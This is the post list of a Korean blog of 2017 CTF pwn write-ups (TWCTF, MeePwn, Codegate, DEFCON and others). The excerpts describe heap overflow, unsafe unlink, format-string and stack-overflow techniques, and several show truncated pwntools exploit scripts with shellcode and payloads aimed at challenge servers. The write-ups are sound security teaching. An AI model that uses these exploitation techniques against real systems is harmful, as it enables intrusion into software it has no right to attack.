티스토리

powerprove의 블로그..
검색하기

블로그 홈

powerprove의 블로그..

powerprove.tistory.com/m

powerprove 님의 블로그입니다.

구독자
0
방명록 방문하기
공지 주인장장 모두보기

주요 글 목록

  • twctf simple_note write up 단순한 heap overflow 문제로 unsafe unlink를 이용해서 풀었다. 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475# !/usr/bin/env python# powerprove from pwn import *import sys if len(sys.argv) == 1: host = "localhost" port = 4000else: host = "pwn1.chal.ctf.westerns.tokyo" port = 16317 def menu(index): s.recvuntil("Your ch.. 공감수 0 댓글수 0 2017. 9. 8.
  • twctf just_do_it write up 단순한 bof문제 123456789101112# !/usr/bin/env python# powerprove from pwn import * if __name__ == "__main__": #s = process("./just_do_it") s = remote("pwn1.chal.ctf.westerns.tokyo",12482) payload = "A"*0x14 payload += p32(0x804A080) s.sendline(payload) s.interactive()Colored by Color Scriptercs 공감수 0 댓글수 0 2017. 9. 8.
  • meepwn CTF 2017 - oldschool bof 문제.아이다 디컴파일이 안되는법 해결은 아래 포스트에. 카나리 우회가 귀찮다.스택에 널을 많이 넣고 원샷 돌림. 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172# !/usr/bin/env python# powerprove from pwn import *import sys if len(sys.argv) 공감수 0 댓글수 0 2017. 7. 23.
  • MeePwn ctf bs 인티져 오버플로우를 통해서 root를 우회할 수 있고-를 이용해 릭과 got overwrite가 가능하다.문제는 got를 이용해서 어떻게 공격을 할까인데첫 번째 인자를 조절할수 있는 방법이 memcmp밖에 없기 때문에 이를 system으로 바꿧다.open을 ret으로 바꿔주면 memcmp에 첫번째 인자를 원하는 곳으로 바꿀수 있다.memcmp가 main 처음에 있기 때문에 scanf를 main으로 돌려서 호출시켰다. 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273# !/usr/bin/env python# po.. 공감수 0 댓글수 0 2017. 7. 21.
  • [0CTF EasiestPrintf] write up 포맷 스트링 버그 문제이다.codegate문제처럼 스택을 이용해서 printf의 리턴값을 바꾸는 문제로 생각했고 많은 부르트 포싱을 이용해 페이로드를 만들었다.근데 라이트 업을보니 printf에서 %100000c와 같이 많은 값을 출력시키게 되면 malloc과 free를 호출하게 된다는 사실을 알게됬다때문에 malloc_hook나 free_hook를 통해서 eip를 컨트롤 할 수 있다. 12345678910111213141516171819202122232425262728293031323334353637# !/usr/bin/env python# powerprove from pwn import * host = "localhost"port = 4000 context.clear(arch = 'i386')s = .. 공감수 0 댓글수 0 2017. 6. 30.
  • [plaid ctf 2017] bigpicture 처음에 malloc을 조금 크게 잡으면 libc안에 할당을 하게 된다.여기서 libc의 main_area쪽과 거리 계산을 통해 -를 이용해서 릭을한다.그 후 free_hook를 system으로 덮고 malloc할당된 곳에 /bin/sh를 덮어 씌우면 끝이난다. 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152# !/usr/bin/env python# powerprove from pwn import * host = "localhost"port = 4000 s = remote(host, port)raw_input("plaid CTF 2017") def make_payload(a, b, c.. 공감수 0 댓글수 0 2017. 6. 29.
  • [google ctf 2017] Inst Prof write up shellocode를 4바이트만큼 실행시켜주는데주요 레지스터들을 초기화 시켜준다그래서 r14를 이용해서 rsp+0x50에 NULL을 넣어주고one_shot gadget을 이용해서 쉘을 땃다 1234567891011121314151617181920212223242526272829303132333435# !/usr/bin/env python# powerprove from pwn import * s = remote("localhost", 4000)raw_input("googlectf 2017") context.arch = "amd64"shellcode = "\x90"*100shellcode += asm(shellcraft.amd64.linux.sh()) if __name__ == "__main__": log... 공감수 0 댓글수 0 2017. 6. 29.
  • [codegate 2017 final] owner 분석이 까다롭다. 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364# !/usr/bin/env python# powerprove from pwn import * def appart(name, floor, house, describe): s.recvuntil(">") s.sendline("1") s.recvuntil("name?") s.sendline(str(name)) s.recvuntil("?") s.sendline(str(floor)) s.recvuntil("?") s.sendline(str(house)) s.recvuntil(":") s.. 공감수 0 댓글수 0 2017. 6. 26.
  • codegate_final 2017 real codegate 첫번째 문제였다. main함수에서 ShowData란 함수를 호출하는데 ShowData함수는 내가 원하는 한바이트를 출력시킬수 있게 해준다. + main에서 ShowData함수를 호출하기전에 Stack의 주소를 알려준다. 소스코드를 보면 format과 args에 값을 넣을 수 있고 포맷스트링 버그 취약점을 발생시킨다처음에 당연히 got값을 덮을라고 했지만. FULL relro이기 때문에 got값을 덮을수 없다.때문에 스택을 이용해서 공격을 해야한다. printf 내부를 보면 vfprintf함수가 존재한다.그리고 vfpirntf함수 안에서 %n이 출력이 된다.그러므로 vfprintf의 ret 주소를 구해서 %n을 이용해 eip를 컨트롤 하였다. eip가 컨트롤 되는 것을 확인할수 있다. pr.. 공감수 0 댓글수 0 2017. 6. 23.
  • 허스트 CTF pwn write up 공감수 0 댓글수 0 2017. 5. 31.
  • DEFCON_2017 beatmeonthedl 먼저 메인에 들어가려면 로그인 패스워드를 입력해야되는데 ida data영역에 보면 아이디와 비밀번호가 나와있다. menu는 무난한 CTF처럼 추가하고 출력하고 지우고 업데이트하는 형식으로 되어 있다.add_request함수를 살펴보니 malloc동적할당을 56만큼하고 값은 128만큼 넣는 것을 확인할 수 있었다. reqlist가 data영역에 있었기 때문에 unsafe_unlink를 시도하는데 릭이 필요하지 않았다.unsafe_unlink와 update_request를 이용해서 쉘코드를 넣고 got의 주소를 바꿔서 익스플로잇을 구성했다. 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515.. 공감수 0 댓글수 0 2017. 5. 7.
  • DEFCON - smashme smashme는 간단하게 gets를 이용한 bof로 이루어져 있다.문제는 sub_400320의 return 값을 0이아닌 값으로 만들어 줘야 한다. sub_400320안으로 들어가면 점프를 하는데 그곳을 추적해보니 어떤 함수의 plt 였다. 디버깅을 해서 알아보니 __strstr_see2 함수 였고 이것은 두개의 인자를 비교하는 함수이다. 인자는 내가 gets로 받은 값과 어느 data값이 였고 저 값을 넣으니 BOF가 성공할 수 있었다.nx가 돌아가지 않아서 쉘코드를 넣은 뒤 push rsp ; ret 가젯을 이용해서 쉽게 쉘을 얻을 수 있었다. 123456789101112131415#!/usr/bin/env python# powerprove from pwn import * s = remote("loc.. 공감수 0 댓글수 0 2017. 5. 7.
  • [codegate final] petshop 이번 코게 본선때 유일하게 풀었던 문제 입니다. ㅋㅋ heapoverflow가 일어나는데 이안에있던 포인터를 덮어서 익스를 짰습니다. 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556# !/usr/bin/env python# powerprove from pwn import * host = "localhost"port = 4000 #s = remote("localhost", 4000)s = remote("200.200.200.105", 9899)raw_input() def menu(index): s.recvuntil("select") s.sendline(str(index).. 공감수 0 댓글수 0 2017. 4. 28.
  • codegate 2017 - messenger write up 특이점이 상당히 많다. 먼저 malloc과 free를 구현하였다.그리고 메세지를 2개밖에 만들지 못한다.heap overflow의 직감이 왔었다.unsafe_unlink라는 것을 확인하기 위해서는 두가지만 보면된다. 왼쪽은 Update하는 부분의 코드이고 오른쪽은 free를 구현한 소스 내부이다.Update부분에 사이즈를 다시 설정할수 있다는 것을 확인할 수 있다.사이즈를 다시 할당할 수 있으므로 heap overflow를 일으킬 수 있다. vmmap을 이용해서 확인한 결과 heap영역에 실행권한이 있다는 사실을 알게 되었다. 나는 페이로드를 unsafe_unlink를 이용해서 exit의 주소를 쉘코드 있는 곳으로 뛸 수 있게 만들 것이다.change -> Remove(Unsafe_unlink) -> C.. 공감수 0 댓글수 0 2017. 4. 5.
  • codegate 2017 - babypwn write up codegate 2017에 출시되었던 babypwn 문제이다. 단순한 BOF문제 였다. 핵심 코드는 이 두가지다. v2 는 ebp로부터 0x34만큼 떨어져 있지만 recv르 100만큼 받으므로 buffer overflow가 난다.v3은 카나리가 있는 것을 확인할 수있는데 v2를 recv한후 다시 v2를 send로 출력시켜 줌으로 카나리 릭을 할 수 있다. 카나리릭이 된다는 것을 확인할 수 있었다.이제 카나리 릭이 됨으로 ROP를 이용해서 exploit을 하면 된다.bss에 "/bin/sh &4"(소켓이므로 파일디스크립터를 신경쓰자)를 넣고 system을 호출시켰다. system함수가 구현되어 있어서 릭은 필요가 없었다.(만세)! exploit은 다음과 같이 구현하였다. 1234567891011121314.. 공감수 0 댓글수 0 2017. 4. 5.
    문의안내
    • 티스토리
    • 로그인
    • 고객센터

    티스토리는 카카오에서 사랑을 담아 만듭니다.

    © Kakao Corp.